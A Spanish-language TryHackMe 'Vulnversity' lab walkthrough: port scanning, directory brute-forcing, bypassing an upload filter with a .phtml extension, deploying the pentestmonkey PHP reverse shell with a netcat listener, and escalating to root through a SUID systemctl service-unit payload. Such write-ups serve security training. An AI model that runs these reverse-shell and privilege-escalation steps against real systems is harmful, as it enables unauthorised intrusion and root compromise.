Vulnversity


December 18, 20227 minutes

Aprende sobre el reconocimiento activo, los ataques a aplicaciones web y la escalada de privilegios.

https://tryhackme.com/room/vulnversity

IP Atacante = 10.10.10.10

IP víctima = 10.10.23.174

Reconocimiento

Para la fase de Reconocimiento vamos a usar nmap.

¿Qué es nmap?

nmap es una herramienta potente, gratuita y de código abierto que se utiliza para descubrir hosts y servicios en una red informática. En nuestro ejemplo, usamos nmap para escanear esta máquina e identificar todos los servicios que se ejecutan en un puerto en particular. nmap tiene muchas capacidades, a continuación hay una tabla que resume algunas de las funciones que proporciona.

nmap

Parámetros típicos nmap:

ParámetroFunción
-p-Para que el escaneo sea a todos los puertos (65536)
-p’port'Escanear unos puertos en específico
–openPara que solo reporte los puertos abiertos
-sS –min-rate 5000Definir el tiempo del escaneo
-nOmitir resolución DNS
-vvvPara que vaya reportando lo que encuentre por consola
-PnSkip host discovery
-oG archivoPara que guarde el escaneo en format grepeable en un archivo llamado archivo
-sCPara que realice scripts básicos de reconocimiento
-sVProporciona la versión e información de los servicios que corren por los puertos

Escanea la máquina, ¿cuántos puertos están abiertos?

❯ nmap -p- 10.10.23.174

PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3128/tcp open  squid-http
3333/tcp open  dec-notes

Tiene un total de 6 puertos abiertos

¿Qué versión del proxy se está ejecutando en la máquina?

❯ nmap -p21,22,139,445,3128,3333 -sV 10.10.23.174

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 3.0.3
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3128/tcp open  http-proxy  Squid http proxy 3.5.12
3333/tcp open  http        Apache httpd 2.4.18 ((Ubuntu))
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

En el puerto 3128 se puede ver la version de la proxy 3.5.12

¿Cuántos puertos escaneará nmap si se usó la bandera -p-400?

Como se indica en el parámetro (-p-400), Escaneara 400 puertos

Usando el indicador nmap -n, ¿qué no resolverá?

Con él -n no hacer DNS

¿Cuál es el sistema operativo más probable que esté ejecutando esta máquina?

❯ nmap -p21,22,139,445,3128,3333 -sV 10.10.23.174

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 3.0.3
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3128/tcp open  http-proxy  Squid http proxy 3.5.12
3333/tcp open  http        Apache httpd 2.4.18 ((Ubuntu))
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

En el puerto 3333 indica que es un Ubuntu

¿En qué puerto se está ejecutando el servidor web?

❯ nmap -p21,22,139,445,3128,3333 -sV 10.10.23.174

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 3.0.3
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3128/tcp open  http-proxy  Squid http proxy 3.5.12
3333/tcp open  http        Apache httpd 2.4.18 ((Ubuntu))
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

El servidor web se está ejecutando por el puerto 3333

Localizando subdirectorios

Para esta parte vamos a buscar directorios con gobuster y wfuzz usando el diccionario /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

¿Cuál es el directorio que tiene una página de formulario de carga?

GoBuster

GoBuster es una herramienta utilizada para la fuerza bruta de URI (directorios y archivos), subdominios DNS y nombres de host virtual. Para esta máquina, nos centraremos en usarla para directorios de fuerza bruta.

ParámetroFunción
-eImprima las URL completas en su consola
-uLa URL de destino
-wRuta a tu diccionario
-U y -PNombre de usuario y contraseña para autenticación básica
-p’x'Proxy a utilizar para las solicitudes
-c ‘http cookies’Especifique una cookie para simular su autenticación
❯ gobuster dir -u http://10.10.23.174:3333 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

===============================================================
2022/12/18 01:37:49 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 320] [--> http://10.10.23.174:3333/images/]
/css                  (Status: 301) [Size: 317] [--> http://10.10.23.174:3333/css/]
/js                   (Status: 301) [Size: 316] [--> http://10.10.23.174:3333/js/]
/fonts                (Status: 301) [Size: 319] [--> http://10.10.23.174:3333/fonts/]
/internal             (Status: 301) [Size: 322] [--> http://10.10.23.174:3333/internal/]

Probando desde un navegador los directorios que reporto, el directorio en el que se pueden subir archivos es: internal

wfuzz

Wfuzz fue creado para facilitar la tarea en las evaluaciones contra aplicaciones web, y está basado en un concepto simple; reemplaza cualquier referencia a la palabra clave FUZZ, por el valor del payload (carga útil) definido.

Un payload en Wfuzz es una fuente de datos.

Este concepto simple permite cualquier entrada sea inyectada en cualquier campo de una petición HTTP, permitiendo realizar ataques complejos de seguridad web en diferentes componentes de la aplicación web, como parámetros, formularios, directorios/archivos, cabeceras, etc.

Fuente

ParámetroFunción
-cPara que lo reporte todo con colores
-tPara configurar el tiempo
–hc=404Para que no reporte los subdirectorios que no existan
-wEs donde se indica el diccionario
FUZZSe escribe donde quieres aplicar el diccionario
❯ wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.23.174:3333/FUZZ

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                     
=====================================================================
000000550:   301        9 L      28 W       317 Ch      "css"                                                                                                                       
000000953:   301        9 L      28 W       316 Ch      "js"                                                                                                                        
000002771:   301        9 L      28 W       319 Ch      "fonts"                                                                                                                     
000002984:   301        9 L      28 W       322 Ch      "internal"
000095524:   403        11 L     32 W       302 Ch      "server-status"

Probando desde un navegador los directorios que reporto, el directorio en el que se pueden subir archivos es: internal

Comprometer el servidor web

¿Qué tipo de archivo común, que le gustaría cargar para explotar el servidor, está bloqueado? Prueba un par para averiguarlo.

La respuesta es .php

¿Qué extensión está permitida?

Para identificar qué extensiones no están bloqueadas, vamos a fuzzear el formulario de carga. Para hacer esto, vamos a usar BurpSuite.

Primero vamos a capturar la petición, enviarlo al intruder y definir la extensión como una variable

En el apartado de payloads vamos a definir las extensiones que queremos que pruebe

Ahora ya le podemos dar a attack.

Si nos fijamos en la columna de length podemos ver que en todas sale lo mismo menos una. Eso significa que con él .phtml no nos ha devuelto el mismo mensaje, se puede suponer que lo ha aceptado

¿Cuál es el nombre del usuario que administra el servidor web?

Viendo que podemos subir .phtml vamos a mandarle un archivo para crear una reverse shell, vamos a usar https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php de pentestmonkey

# Nos lo pasamos a nuestra máquina
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

# Le cambiamos la extensión
mv php-reverse-shell.php php-reverse-shell.phtml

Importante cambiar estas líneas

$ip = '127.0.0.1';  // Ip de tú máquina
$port = 1234;       // Puerto en el que te vas a poner en escucha

Nos ponemos en escucha por el puerto 443 con netcat

nc -nlvp 443

Ahora ya podemos ejecutar el archivo poniendo lo siguiente en el navegador

http://10.10.23.174:3333/internal/uploads/php-reverse-shell.phtml

Antes para trabajar mejor vamos a hacer un tratamiento de la terminal con los siguientes comandos:

script /dev/null -c bash

ctrl + z

stty raw -echo; fg
reset
xterm
export SHELL=bash
export TERM=xterm

Ahora en /home/bill/user.txt ya podemos ver la flag y ya sabemos que el nombre de quien administra el servidor web es bill

Escalada de privilegios

En Linux, SUID (establecer el ID de usuario del propietario en la ejecución) es un tipo especial de permiso de archivo otorgado a un archivo. SUID otorga permisos temporales a un usuario para ejecutar el programa/archivo con el permiso del propietario del archivo (en lugar del usuario que lo ejecuta).

Por ejemplo, el archivo binario para cambiar su contraseña tiene el bit SUID (/usr/bin/passwd). Esto se debe a que para cambiar su contraseña, deberá escribir en el archivo shadowers al que no tiene acceso, root sí, por lo que tiene privilegios de root para realizar los cambios correctos.

En el sistema, busque todos los archivos SUID. ¿Qué archivo se destaca?

Con find / -perm -4000 -exec ls -ldb {} \; 2>/dev/null podemos ver los archivos con permisos suid. La respuesta es /bin/systemctl

Conviértase en root y obtenga la última flag (/root/root.txt)

Ejecutando lo siguiente y después haciendo un cat a /tmp/output podemos ver la flag

TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
/bin/systemctl link $TF
/bin/systemctl enable --now $TF
cat /tmp/output